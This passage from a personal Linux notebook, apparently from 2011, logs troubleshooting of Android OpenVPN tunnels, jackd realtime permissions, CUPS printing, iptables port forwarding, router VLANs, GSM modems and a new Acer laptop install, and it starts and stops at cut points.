636f6d3e 00000000 ualcomm.com>.... 0060 64657363 72697074 696f6e3d 556e6976 description=Univ 0070 65727361 6c205455 4e2f5441 50206465 ersal TUN/TAP de 0080 76696365 20647269 76657200 64657065 vice driver.depe 0090 6e64733d 00000000 7665726d 61676963 nds=....vermagic 00a0 3d322e36 2e33322e 392d3237 3232302d =2.6.32.9-27220- 00b0 67333238 66353630 20707265 656d7074 g328f560 preempt 00c0 206d6f64 5f756e6c 6f616420 41524d76 mod_unload ARMv 00d0 37200000 I tried to edit this out in the binary. It loaded properly, but crashed the phone when actually used. # cat /proc/version Linux version 2.6.32.9-g9e2c63d (xrpk47@il93lnxdroid25) (gcc version 4.4.0 (GCC) ) #1 PREEMPT Mon Nov 15 22:44:13 CST 2010 Maybe need to compile from Motorola source [2]? Ok, this one[4] from this thread[3] works on the version above. It sets up the tunnel connection. Still a problem: the "ifconfig" on android doesn't work as expected. Fri Sep 16 15:08:24 2011 PUSH: Received control message: 'PUSH_REPLY,route-gateway 192.168.14.254,ifconfig 192.168.14.44 255.255.255.0' Fri Sep 16 15:08:24 2011 Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:2: ifconfig (2.1.1) See here [5][6]. If I set it manually it works: ifconfig tap0 192.168.14.44 netmask 255.255.255.0 up TODO: - fix vpn on zni - auto load tun.ko ? - fix ifconfig stuff | use external script workaround [1] http://code.google.com/p/get-a-robot-vpnc/downloads/detail?name=tun.ko [2] http://sourceforge.net/motorola/wiki/Android/ [3] http://code.google.com/p/get-a-robot-vpnc/issues/detail?id=116 [4] http://www.saturnwiki.net/droid_tun_driver/2.6.32.9/tun_alt.ko [5] http://code.google.com/p/android-openvpn-settings/issues/detail?id=26 [6] http://code.google.com/p/android-openvpn-installer/issues/detail?id=2 Entry: jackd as user Date: Fri Sep 16 18:04:28 EDT 2011 Why does this keep breaking? Every time I start using pd again I have to spend half a day figuring out how to get sound and video to work.. I'd like to get pd back up an running for the Haskell DSP tests. It was working around october last year, but then I lost track of configs. Don't remember what happened. First problem, starting jackd: Cannot use real-time scheduling (RR/10)(1: Operation not permitted) I don't remember. Should I run pd setuid root, should I run pd and jack as root, or was there some other permission thing to set? chmod +s /usr/bin/pd chmod +s /usr/bin/jackd Looking a bit, I find this post[1] mentioning rlimits. Let's remove the setuid bits and try again. However, [2] doesn't recommend rlimits, but mentions PAM instead. My /etc/security/limits.conf already has this: @audio - rtprio 100 @audio - nice -10 I've added this line also: @audio - memlock unlimited And yes, I'm member of the audio group. Maybe I just need to login again after recent upgrade? Let's try. Yep that was the problem. [1] http://www.linuxquestions.org/questions/linux-kernel-70/realtime-scheduling-permission-for-user-783434/ [2] http://www.esaracco.fr/documentation/linuxaudio/linuxaudio/obtaining-realtime-privileges.html Entry: old PWC cam doesn't work in pdp / mplayer Date: Fri Sep 16 18:49:51 EDT 2011 I remember that it wont work behind a USB hub, so maybe that's the problem? Or wait... did it need a USB 1.1 port? Maybe that's why it works on the old box? It's probably just drivers. It doesn't work on the .32 kernel on the acer one either.. Let's try a new kernel. Entry: PREEMPT_RT in Debian Date: Sun Sep 18 09:25:57 EDT 2011 I found this: linux-image-3.0.0-1-rt-amd64 in wheezy[1]. Does this mean the end of special-purpose kernel compilation for the linux audio user? Let's give it a try. Other than standard features, I need: - vmware - fglrx (??) [1] http://packages.debian.org/wheezy/linux-image-3.0.0-1-rt-amd64 Entry: Persistent networking crap Date: Sun Sep 18 11:12:12 EDT 2011 This has been biting me for a long time already. Time to figure out how it works, and what problem it actually tries to solve. Ha, it's actually straightforward. Problem was I had lingering old config, and on 2.6.33 the renaming seemed to not be invoked, while on 3.0 it was. Entry: VLAN trouble 3.0.0 Date: Sun Sep 18 11:34:49 EDT 2011 Switching to 3.0.0 the VLAN config no longer works. Related to [1]? [1] https://bbs.archlinux.org/viewtopic.php?id=125875 Entry: Verizon data Date: Sun Sep 18 17:20:15 EDT 2011 Seems to use internal addresses: # ifconfig ppp0 ppp0: ip 10.235.12.191 mask 255.255.255.255 flags [up point-to-point running multicast] Outgoing seems to be 174.252.242.8 Entry: Firewall crap Date: Sun Sep 18 19:14:08 EDT 2011 Instead of DROP, let's just use log for troubleshooting. Setup is confusing atm.. Entry: kvm issue : memory leak? Date: Tue Sep 20 19:29:18 EDT 2011 [111174.576709] 682 pages shared [111174.577069] 254775 pages non-shared [111174.577522] Out of memory: kill process 28682 (autologin) score 28 or a child [111174.578365] Killed process 28682 (autologin) INIT: Id "T0" respawning too fast: disabled for 5 minutes INIT: no more processes left in this runlevel [111175.709272] Kernel panic - not syncing: Out of memory and no killable processes... [111175.709275] [111175.710355] Pid: 2951, comm: emacs Tainted: G S W 2.6.32-5-686 #1 [111175.711126] Call Trace: [111175.711431] [<c126c7aa>] ? panic+0x38/0xe6 [111175.711929] [<c108998c>] ? __out_of_memory+0xdf/0x107 [111175.712618] [<c1089a0e>] ? out_of_memory+0x5a/0x7c [111175.713255] [<c108c2b9>] ? __alloc_pages_nodemask+0x3ef/0x4d9 [111175.714067] [<c108d695>] ? __do_page_cache_readahead+0x98/0x16b [111175.715780] [<c108d77c>] ? ra_submit+0x14/0x18 [111175.717949] [<c1087d3c>] ? filemap_fault+0x16d/0x2e6 [111175.718564] [<c101f50d>] ? kunmap_atomic+0x5d/0x6d [111175.719166] [<c1099a52>] ? __do_fault+0x47/0x3b1 [111175.722105] [<c106f15d>] ? __rcu_process_callbacks+0x6c/0x227 [111175.722793] [<c109b9df>] ? handle_mm_fault+0x48f/0x959 [111175.723406] [<c101afd7>] ? pvclock_clocksource_read+0xf9/0x10f [111175.724137] [<c104b034>] ? ktime_get_ts+0xcd/0xd5 [111175.724729] [<c126ff48>] ? do_page_fault+0x2f1/0x307 [111175.725340] [<c126fc57>] ? do_page_fault+0x0/0x307 [111175.725937] [<c126e4ab>] ? error_code+0x73/0x78 Entry: Pd in Debian Date: Wed Sep 21 20:58:59 EDT 2011 I switched back to the one in stable: 0.42.6-1+b1 The one in testing: 0.43.0-4 gives trouble. [1] http://packages.debian.org/search?keywords=puredata Entry: PDP Debian Date: Thu Sep 22 19:53:58 EDT 2011 one: PWC doesn't seem to work. V4L2 ?? Also: problem with pdp_xv. Entry: PATH and sudo Date: Fri Sep 23 09:14:25 EDT 2011 Tried to help Ben at GLLUG meeting yesterday. Problem was that sudo by itself does not set a PATH variable which contains the sbin directories. Why is this, and how to fix it? We quick hacked it by adding the sbin dirs to his normal user's PATH. I have a similar problem on Debian testing. Looking around I found that Debian's / Ubuntu's sudo is compiled with a secure-path set[1]. [1] http://stackoverflow.com/questions/257616/sudo-changes-path-why Entry: Rsync / scp double quoting Date: Sat Oct 1 09:46:00 EDT 2011 rsync.merge --rsh='ssh -p2222' rib6.net:/tmp/upload/Trouw\\\ A\\\&A\\\ PART\\\ II . Entry: zni todo Date: Sat Oct 1 21:46:40 EDT 2011 LVM phenom-16: where is this reference? Entry: Process group Date: Mon Oct 3 10:40:58 EDT 2011 Basic question: how to put a number of processes in a process group such that a single KILL or HUP signal will reach all of them? [1] http://en.wikipedia.org/wiki/Process_group Entry: Got OpenVPN to work on the Droid2 Date: Thu Oct 6 14:42:04 EDT 2011 I had to use a workaround "up" script to call ifconfig because for some reason there's something wrong with the ifconfig push. #!/system/bin/sh /system/bin/ifconfig tap0 192.168.8.44 netmask 255.255.255.0 up exit 0 It seems that the Android wrapper app runs openvpn with incorrect script security level. This worked: #!/system/bin/sh # Load tun/tap module. insmod /system/lib/modules/tun.ko # Add --script-security after args provided by the OpenVPN android app. exec /system/xbin/openvpn "$@" --script-security 2 Entry: backscatter Date: Thu Oct 6 18:26:42 EDT 2011 Apparently not to worry about it: many ppl don't use it because of extortion stuff. I.e. backscatter.org: 113 speedy delist. Entry: rygel (WDTV media server) Date: Tue Oct 18 23:53:38 EDT 2011 apg-get install rygel ~/.config/rygel.conf : [MediaExport] enabled=true title=Stuff # List of URIs to export; if list is empty, the XDG media directries are # exported. uris=/pub/tv rygel -n br0 Seems quite flexible. For hacking it seems best to focus on GStreamer pipelines, there are probably already a couple of those to reuse.. [1] http://live.gnome.org/Rygel Entry: XBMC on debian Date: Wed Oct 19 22:56:24 EDT 2011 # /etc/apt/sources.list deb http://www.debian-multimedia.org squeeze main This seems to work quite well. Media library sharing for WDTV is straightforward. I wonder if it's possible to save some of those plugin videos so they can be shared also. Entry: Good color laser, duplex, network, linux drivers Date: Thu Oct 27 10:53:44 EDT 2011 Hi, Anyone have any recommendations for a laser printer with the following features: - good linux drivers - ethernet - color - duplex - large tray Entry: I hate printers - Printing from Google Chrome fails Date: Fri Oct 28 10:51:56 EDT 2011 Printing a web page from Google Chrome fails: nothing happens. Exporting to .pdf and printing from okular works fine. The logs give this: localhost - - [28/Oct/2011:10:36:04 -0400] "POST /printers/HL2240 HTTP/1.1" 200 460654 Print-Job successful-ok localhost - - [28/Oct/2011:10:39:12 -0400] "POST /printers/HL2240 HTTP/1.1" 200 460693 Print-Job successful-ok localhost - - [28/Oct/2011:10:47:13 -0400] "POST /printers/HL2240 HTTP/1.1" 200 460671 Print-Job successful-ok localhost - - [28/Oct/2011:10:48:50 -0400] "POST /printers/HL2240 HTTP/1.1" 200 456 Create-Job successful-ok localhost - - [28/Oct/2011:10:48:50 -0400] "POST /printers/HL2240 HTTP/1.1" 200 760023 Send-Document successful-ok My assumption is that the first 3 attempts are the failures. To check: try to recreate this condition by printing from Chrome and see if that's actually what happens. Then find out what the fuck is going on again. Is this the Brother drivers or is CUPS just a piece of steaming crap? The jobs are indeed there and indicate no error, but nothing happened. They just disappear into the void. The web interface knows about the jobs, but this doesn't seem to be in the log files. Where is that state stored? /var/spool/cups/c00092 # nothing happened /var/spool/cups/c00093 # ok The job-k-octets are not empty so it seems that everything was passed on to the driver, and it did not signal any error. That's where to look next. This reminds me of a problem with the MFC-240C driver[1]. Maybe Chrome passes stuff into pipe and not as a file? Then today, after a fresh system reboot, it worked again. This is a print from Chrome: localhost - - [29/Oct/2011:13:34:32 -0400] "POST /printers/HL2240 HTTP/1.1" 200 308280 Print-Job successful-ok /var/spool/cups/c00094 [1] entry://20110228-173738 Entry: Apache log parser Date: Tue Nov 1 15:40:06 EDT 2011 I still have my pool of logs, but I lost the parser. I find this[1][2] but no code. Ok, got it[3]. Tried to run it and it gives parse errors. Probably log format config changed at some point. It seems best though to not do this in Scheme. What I want to do can be done in a DB without trouble. Let's fit it into MySQL or SQLite and use some standard queries; might be a good way to learn. 1. Frontend regexp that generates INSERT 2. SQL queries Apparently something changed: the vhost is appended too. I tried to fix it but I can't get anything decent out of it. Looks like I need to play a bit with regexps to get this to work. [1] entry://20091001-131036 [2] entry://../plt/20090712-111931 [3] http://zwizwa.be/-/darcs/plt/lib/x Entry: Xilinx ISE Date: Sun Nov 13 08:41:25 EST 2011 wget -c 'http://xilinx-ax-dl.entitlenow.com/akdlm/dl/2011/284/21/R18911/Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar/ad1ee9d23ed3eb2990e97d11d4097455/4EC1196C/Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar?akdm=1&filename=Xilinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar&fileExt=.tar' ^Clinx_ISE_DS_Lin_13.3_O.76xd.1.0.tar I'm only installing the Webpack. So how to run it? This is such a bloat.. Entry: Bad usb mouse? Date: Tue Nov 15 11:13:22 EST 2011 Today it happened again, 3rd time. A bunch of messages like this: [447148.796228] usb 7-4: new low speed USB device using ohci_hcd and address 18 [447148.975254] usb 7-4: New USB device found, idVendor=045e, idProduct=0040 [447148.975257] usb 7-4: New USB device strings: Mfr=1, Product=2, SerialNumber=0 [447148.975259] usb 7-4: Product: Microsoft Wheel Mouse Optical® [447148.975261] usb 7-4: Manufacturer: Microsoft [447148.986330] input: Microsoft Microsoft Wheel Mouse Optical® as /class/input/input87 [447148.986430] generic-usb 0003:045E:0040.005C: input,hidraw2: USB HID v1.00 Mouse [Microsoft Microsoft Wheel Mouse Optical®] on usb-0000:00:16.0-4/input0 [447285.281594] hub 7-0:1.0: port 4 disabled by hub (EMI?), re-enabling... [447285.281599] usb 7-4: USB disconnect, address 18 Then finally a bunch of messages like this: [492961.136499] INFO: task khubd:266 blocked for more than 120 seconds. [492961.136502] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [492961.136504] khubd D 0000000000000000 0 266 2 0x00000000 [492961.136508] ffffffff8142d020 0000000000000046 0000000000000000 0000000000000246 [492961.136511] ffff88019f14ec70 00000000ffffffff 000000010756b8e9 000000000000b188 [492961.136514] 0000000000000000 0000000000000000 ffffffff81460c50 ffff88019f15dfd8 [492961.136517] Call Trace: [492961.136523] [<ffffffff812ecb15>] ? schedule+0x16/0x2a [492961.136526] [<ffffffff8120d3b5>] ? usb_kill_urb+0xa1/0xbd [492961.136530] [<ffffffff810574a0>] ? autoremove_wake_function+0x0/0x2a [492961.136533] [<ffffffff8120e7a8>] ? usb_start_wait_urb+0x80/0xbf [492961.136537] [<ffffffff8120ea6f>] ? usb_control_msg+0x14b/0x172 [492961.136540] [<ffffffff8117d519>] ? kref_put+0x41/0x4a [492961.136543] [<ffffffff810d633f>] ? _slab_irq_disable+0x37/0x58 [492961.136546] [<ffffffff8120fc38>] ? usb_get_descriptor+0x6d/0x9e [492961.136549] [<ffffffff812116ca>] ? usb_get_configuration+0x22e/0x15f4 [492961.136552] [<ffffffff812ee201>] ? rt_spin_lock+0x29/0x6d [492961.136555] [<ffffffff8120fd54>] ? usb_get_device_descriptor+0xeb/0xfb [492961.136557] [<ffffffff810d73d0>] ? kfree+0x122/0x16e [492961.136560] [<ffffffff8120fd54>] ? usb_get_device_descriptor+0xeb/0xfb [492961.136563] [<ffffffff812087eb>] ? hub_port_init+0x6df/0x702 [492961.136565] [<ffffffff81208fff>] ? usb_enumerate_device+0x16/0xe5 [492961.136567] [<ffffffff8120934a>] ? usb_new_device+0x2b/0x193 [492961.136570] [<ffffffff8120ab45>] ? hub_thread+0xa65/0xfa8 [492961.136573] [<ffffffff810574a0>] ? autoremove_wake_function+0x0/0x2a [492961.136575] [<ffffffff8120a0e0>] ? hub_thread+0x0/0xfa8 [492961.136578] [<ffffffff8105711c>] ? kthread+0x75/0x7d [492961.136581] [<ffffffff810321c4>] ? finish_task_switch+0x49/0xe0 [492961.136584] [<ffffffff81003924>] ? kernel_thread_helper+0x4/0x10 [492961.136586] [<ffffffff810570a7>] ? kthread+0x0/0x7d [492961.136589] [<ffffffff81003920>] ? kernel_thread_helper+0x0/0x10 [493081.136512] INFO: task khubd:266 blocked for more than 120 seconds. lsusb also hangs. Rebooting solves it for a while. Maybe the mouse fell on the floor one time too many? Though that shouldn't really cause system to lock up like this.. Something wrong with my USB hub on the motherboard? Entry: Router fred: move printer to untrusted port Date: Fri Nov 18 09:07:33 EST 2011 I currently have 2 VLANS, one is wireless and other untrusted, the other is wired (trusted). I want to put the printer on the untrusted segment, so I need to tag one of router ports. Current setup is: @fred:/etc/rc.d# robocfg show Switch: enabled Port 0(W): DOWN enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 Port 1(4): 100FD enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 Port 2(3): DOWN enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 Port 3(2): 100FD enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 Port 4(1): 100FD enabled stp: none vlan: 1 mac: 00:00:00:00:00:00 Port 5(C): 100FD enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 VLANs: BCM5325/535x enabled mac_check mac_hash vlan0: 0 1 2 3 5t vlan1: 3t 4 vlan11: 3t 5t vlan11: untrusted + bridged to wireless wl0 vlan0: trusted vlan1: internet 3: zoo, has vlan1 and vlan11 tagged, vlan0 untagged 5: broadcom CPU, has vlan0 and vlan11 tagged What needs to change is untagging of vlan11 on one of the router ports. I plugged the printer into port 2 (Marked as "2" on the back, note that numbering on the back is not the same!) robocfg vlan 11 ports "2 3t 5t" # untag 11 on port 2 robocfg vlan 0 ports "0 1 3 5t" # don't untag 0 on port 2 This gives: @fred:/etc/rc.d# robocfg show Switch: enabled Port 0(W): DOWN enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 Port 1(4): DOWN enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 Port 2(3): 100FD enabled stp: none vlan: 11 mac: 00:00:00:00:00:00 Port 3(2): 100FD enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 Port 4(1): 100FD enabled stp: none vlan: 1 mac: 00:00:00:00:00:00 Port 5(C): 100FD enabled stp: none vlan: 0 mac: 00:00:00:00:00:00 VLANs: BCM5325/535x enabled mac_check mac_hash vlan0: 0 1 3 5t vlan1: 3t 4 vlan11: 2 3t 5t Entry: Recovering deleted files. Date: Mon Nov 21 22:34:51 EST 2011 Suppose you have a file called '/tmp/foo' that is deleted from the directory, but still opened by a process. You can still get at it by issuing: lsof | grep /tmp/foo To find the process that owns it. Then issuing ls -l /proc/1234/fd to find the fd of the deleted file. Using cp /proc/1234/fd/4 /tmp/foo.saved the file can be restored. Entry: Port forwarding Date: Wed Nov 23 10:18:25 EST 2011 I keep forgetting how this works in raw iptables. From [1]: /sbin/iptables \ -t nat -A PREROUTING -p tcp -i eth0 -d xxx.xxx.xxx.xxx \ --dport 8888 -j DNAT --to 192.168.0.2:80 /sbin/iptables \ -A FORWARD -p tcp -i eth0 -d 192.168.0.2 --dport 80 -j ACCEPT So this gives something like this: # tcp_forward <from-port> <to-host> <to-port> tcp_forward () { $IPTABLES -t nat -A PREROUTING -p tcp -i $INTERNET --dport $1 -j DNAT --to $2:$3 $IPTABLES -A FORWARD -p tcp -i $INTERNET -d $2 --dport $3 -j ACCEPT } [1] http://www.hackorama.com/network/portfwd.shtml Entry: Minolta magicolor 1650EN Date: Thu Nov 24 12:14:23 EST 2011 Works well as long as I don't use CUPS :) Anwyays, it seems to work from CUPS on one machine: tom@moms:~$ dpkg -l cups Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Description +++-==============-==============-============================================ ii cups 1.5.0-5 Common UNIX Printing System(tm) - server but not on mine: tom@zoo:~/$ dpkg -l cups Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Description +++-==============-==============-============================================ ii cups 1.4.4-7 Common UNIX Printing System(tm) - server I'm a bit reluctant to upgrade because of other trouble with that new version.. CUPS sucks.. Time I get to know it a bit better so I can fix it myself. Entry: ppp & chat Date: Sun Nov 27 14:39:37 EST 2011 APN=..... /usr/sbin/chat -v -f /etc/chatscripts/gprs -T $APN </dev/tty101 >/dev/tty101 pppd -detach debug /dev/tty101 noipdefault noauth The first one works, the second one doesn't. It seems both use different serial settings. Line discipline. tom@zoo:~$ sudo stty -F /dev/tty101 speed 115200 baud; line = 0; erase = <undef>; kill = <undef>; min = 1; time = 0; -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke tom@zoo:~$ sudo stty -F /dev/tty101 speed 115200 baud; line = 3; erase = <undef>; kill = <undef>; min = 1; time = 0; ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke Yeah now it's totally messed up. I can't get it to work any more. For another time: learn about line disciplines. Entry: Logging from pty Date: Mon Nov 28 12:47:19 EST 2011 I need to attach a logfile to a pty, with proper \r\n -> \n conversion. How to do that? Will socat do this properly? Maybe it's not necessary. In the end, it's just DOS text so dos2unix might do it. Entry: abcde Date: Tue Nov 29 13:13:42 EST 2011 This keeps changing.. Currently DVD is at /dev/sr0 but permissions are root:600. sudo chmod a+r /dev/sr0 abcde -d /dev/sr0 Then just follow interactive stuff. Oops, that defauts to ogg! See old post[1]. This does mp3: abcde -d /dev/sr0 -o mp3 [1] entry://20100509-133830 Entry: Upgrading V4L Date: Tue Nov 29 13:19:49 EST 2011 xawtv -nodga It works for a bit, then I plug the cam in a hub and it stops working, even after plugging it back and reloading modules.. Sucks. Time for a new cam. Entry: Running sequential batch jobs Date: Thu Dec 1 16:33:56 EST 2011 What's the simplest way to run jobs in the background, one after the other? I.e. I drop a command file in a directory and it runs whenever the currently executing job is done. Maybe this is too trivial to need a separate program? [1] http://zwizwa.be/darcs/pool/bin/jobs.run Entry: PPP chat flush Date: Fri Dec 2 18:31:50 EST 2011 Strange problem. I have /dev/tty101 connected to an (embedded) GPRS modem, but it seems that the characters that are sent by chat called by "pon gprs" are not flushed to the output. They are flushed when ppp closes the serial port, or when I connect it with picocom. Entry: GSM modem Date: Sat Dec 3 16:03:57 EST 2011 Finding a GSM laptop stick that works with linux.. This time I'm going to look for something that actually has a driver in the latest kernel. I.e. in usbserial (I want a modem that acts as a modem). I just got a Huawei E220 on Amazon for about $40. It doesn't have the 850 band but it should be alright on the 2100 3G band.. Entry: Installing 32bit .deb on 64bit Date: Mon Dec 5 10:52:41 EST 2011 Setting myself up for failure: installing MFC-240C drivers (sane + cups) on a 64bit system. Yes indeed failure.. scanimage -L doesn't list it, while sane-find-scanner does. Looks like those 32bit driver libraries are not loaded by the 64bit sane. Entry: MFC-240C print heads Date: Mon Dec 5 12:04:28 EST 2011 Cleaned it at least 5 times, black still has clogged nozzles. What to do now? Entry: Cheapo uvcvideo camera Date: Mon Dec 5 13:28:25 EST 2011 Got a "New 30 Mega Pixel USB2.0 PC/Laptop Webcam Camera With Mic" from ebay for $7 including shipping[1]. It seems to work with the uvcvideo driver. [1739275.100557] usb 1-4.1.2: new high speed USB device using ehci_hcd and address 67 [1739275.248748] usb 1-4.1.2: New USB device found, idVendor=0c45, idProduct=6340 [1739275.248751] usb 1-4.1.2: New USB device strings: Mfr=2, Product=1, SerialNumber=0 [1739275.248754] usb 1-4.1.2: Product: USB 2.0 Camera [1739275.248755] usb 1-4.1.2: Manufacturer: Sonix Technology Co., Ltd. [1739275.260333] 67:3:1: cannot get freq at ep 0x84 [1739275.605206] uvcvideo: Found UVC 1.00 device USB 2.0 Camera (0c45:6340) [1739275.618673] input: USB 2.0 Camera as /class/input/input13 [1739275.618724] usbcore: registered new interface driver uvcvideo [1739275.618725] USB Video Class driver (v0.1.0) idVendor= 0c45 Microdia idProduct= 6340 <???> It works with mplayer, but not with xawtv, nor with PDP. tom@zoo:~$ mplayer tv:// MPlayer SVN-r31918 (C) 2000-2010 MPlayer Team Can't open joystick device /dev/input/js0: No such file or directory Can't init input joystick mplayer: could not connect to socket mplayer: No such file or directory Failed to open LIRC support. You will not be able to use your remote control. Playing tv://. TV file format detected. Selected driver: v4l2 name: Video 4 Linux 2 input author: Martin Olschewski <olschewski@zpr.uni-koeln.de> comment: first try, more to come ;-) v4l2: your device driver does not support VIDIOC_G_STD ioctl, VIDIOC_G_PARM was used inste ad. Selected device: USB 2.0 Camera Capabilities: video capture streaming supported norms: inputs: 0 = Camera 1; Current input: 0 Current format: YUYV v4l2: ioctl set format failed: Invalid argument v4l2: ioctl set format failed: Invalid argument v4l2: ioctl set format failed: Invalid argument tv.c: norm_from_string(pal): Bogus norm parameter, setting default. v4l2: ioctl enum norm failed: Invalid argument Error: Cannot set norm! Selected input hasn't got a tuner! v4l2: ioctl set mute failed: Invalid argument open: No such file or directory [MGA] Couldn't open: /dev/mga_vid open: No such file or directory [MGA] Couldn't open: /dev/mga_vid [VO_TDFXFB] This driver only supports the 3Dfx Banshee, Voodoo3 and Voodoo 5. s3fb: Couldn't map S3 registers: Operation not permitted Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such f ile or directory [vdpau] Error when calling vdp_device_create_x11: 1 ========================================================================== Opening video decoder: [raw] RAW Uncompressed Video Movie-Aspect is undefined - no prescaling applied. VO: [xv] 640x480 => 640x480 Packed YUY2 Selected video codec: [rawyuy2] vfm: raw (RAW YUY2) ========================================================================== Audio: no sound Starting playback... v4l2: select timeout [1] http://www.ebay.com/itm/New-30-Mega-Pixel-USB2-0-PC-Laptop-Webcam-Camera-Mic-/290639099695 Entry: Huawei E220 tests Date: Wed Dec 7 13:28:13 EST 2011 speedtest.net ping: 732 ms down: 130 kbps up: 60k bps It doesn't seem to come up cleanly though. During boot it blinks twice every couple of seconds, when it's registerd it blinks once every couple of seconds. Data connection is full on. RSSI goes from 12 to 20 at my window. It seems best to wait for ^RSSI: messages before starting PPP. Entry: Printer drama postmortem Date: Wed Dec 7 18:57:02 EST 2011 I kinda lost it this time. Multiple problems again having to print something last minute. This printer madness is getting quite absurd. I didn't find a reason for the first two, for the rest I have a explanation/fix. - cups seems to send empty jobs. restarting cups helps. - i found a big black toner-spilling paper coming out of the MAGICOLOR - the HL2240 was printing landscape orientation - feeder problem with the MAGICOLOR: probably tray 2 not closed properly after move - there's a routing problem om br1 - MAGICOLOR doesn't seem to like to be switched off The HL2240 landscape problem seems to be only happening with okular 0.10.5 (debian 4:4.4.5-2) while evince 2.32.0-1 is fine. Maybe I should stick to evince and not use okular? The new version okular 4:4.6.5-3 still has the same problem. It could also be a problem in openoffice though, which is where the pdf came from. I found the black square pdf in /var/spool/cups/tmp. I have no idea how that came to be. It says it's generated by pdf2pdf. I find no reference That feeder problem I don't know. It should be ok now. Let's just keep the MAGICOLOR on. It has power save mode. Entry: Libreoffice pdf bug Date: Wed Dec 7 19:27:10 EST 2011 People complain that .pdf generated by libreoffice 1:3.3.3-4+b1 are corrupt. Sending them through pdf2ps | ps2pdf fixes that. Entry: For firewall, a bridge acts as a router! Date: Wed Dec 7 19:49:58 EST 2011 I.e. if you have 2 interfaces on a bridge, the routing in iptables needs to be set up properly between the interfaces for this to work well. Entry: Debugging CUPS Date: Wed Dec 7 19:58:08 EST 2011 It would be nice to see if debugging can be enabled. Simply keeping all the print files in the spool would already be quite a help. Entry: Debian install from USB stick Date: Fri Dec 9 21:55:49 EST 2011 Get netinst.iso Get the usb loader. zcat boot.img.gz >/dev/sda This formats the drive with a bootloader. Then copy the image to the disk. [1] http://www.debian-administration.org/articles/446 [2] ftp://ftp.debian.org/debian/dists/squeeze/main/installer-amd64/20110106+squeeze3+b1/images/hd-media/boot.img.gz Entry: Acer Aspire TimelineX AS3830T-6870 Date: Sat Dec 10 17:09:59 EST 2011 ( Bought some new gear. Ususally I don't, know that it's an adventure to get it to a stable driver state in linux. Anyways, here it goes, practicing patience.. ) Won't boot from USB with all bootable sticks I can find and the netboot doesn't seem to accept DHCP packets.. Current BIOS 1.05. There's 1.07 available. I'm reluctant to upgrade, more room for nasty failure.. Not upgrading. I did find an old Redhat bootfloppy that had syslinux 2.00 on it, which booted using an USB floppy drive. I stripped that image and add3ed grub4dos[1][2] to get a grub console. Made a FAT32 partition in windows. Copied the debian install files to that partition. Used the grub console to start linux+initr from the install image. This got the installation going: Devices: * Squeeze installer didn't recognize the atheros ethernet 1969:1083. I managed to get through the debian installer using an usb<->ethernet adapter. Ethernet is supported by atl1c in linux-image-3.1.0-1-amd64 which is currently in wheezy. (supposedly since 2.6.38-2-amd64). All well. * Wireless works after installing firmware-iwlwifi from non-free. However, it drops out after a while, disassociate reason 7. Bringing it up again seems to work. * Soundcard driver snd_hda_intel PCI 8086:1c20 seems to load, but I get no sound. Yes I tried mixer settings. After loading snd_pcm_oss, "cat /dev/dsp | hd" doesn't give anything. I did get a serious beep unplugging the power cord. A vanilla 3.1.5 doesn't seem to fix it, so the problem is probably something else.. HDMI "mplayer -alsa:device=hw=0.3" works as long as "xrandr --output HDMI1 --auto" is enabled. How to find this.. Would be nice to find someone with exactly the same hardware. Problem is known: [3]. Nope that's a different PCI ID. I found something on the gentoo wiki [4] so maybe I just use a more recent kernel? The patch that's mentioned there is the same as in [3]. Confusing.. (NEXT: check after reboot + check alsa diff). So, this morning I powered it up and it worked. Yesterday after just reboot it didn't work. So it's probably the power cycling that reset the chip. Because of that I'm not sure if it's actually the last alsa snapshot or the one in 3.1.5 that fixed it. * Video is an Intel Sandy Bridge Integrated Graphics Controller PCI 8086:0116. Running glxinfo gives an error. (bad resource something) I tried mplayer (xv) and this leads to an X hang. ../../intel/intel_bufmgr_gem.c:1069: Error setting domain 3: Input/output error After that keyboard seems to be locked I'm at xserver-xorg-core 2:1.7.7-13 (squeeze), upgrading to 2:1.11.2.901-1 (wheezy) Upgrade seems to have fixed the glxinfo problem, and xvideo now also works in mplayer. * Webcam seems to work. uvcvideo internal USB device for Alcor Micro Corp USB 058f:b002 * Battery life seems to be about 5 hours mostly idling (8+ advertised), and 1.5 hours compiling a kernel with 5 jobs, producing quite some heat. [1] http://www.icpug.org.uk/national/linnwin/step1-9x.htm [2] http://aronzak.wordpress.com/2008/09/16/howto-syslinux-and-grub-on-one-usb-drive/ [3] http://mailman.alsa-project.org/pipermail/alsa-devel/2011-June/041379.html [4] http://en.gentoo-wiki.com/wiki/Acer_Aspire_TimelineX_3830 Entry: Custom kernel building Date: Sun Dec 11 18:49:01 EST 2011 I've been out of the loop for a while. How to build a custom kernel that actually works without iterating too many times? I don't want to build a Debian kernel, it's simply too big. How to get to a working set of modules? Probably best to work incrementally: build the basic kernel, then add modules one by one without building a .deb (make modules_install), then when it's done pack up the .config in a kernel.deb package. Let's see, after running make-kpkg the modules should still be there. I just run "make menuconfig" to enable a new driver, then run make modules ; sudo make modules_install ; sudo modprobe <module> and it will load it in the kernel. Then, when everything is done the .deb can be rebuilt and reinstalled. Ok, to get all the drivers I did this. I have a lsmod.txt file with the output of lsmod on the debian (working) kernel. Running this output and lsmod on the non-working system through the following pipe to produce 1.txt and 2.txt. The diff of 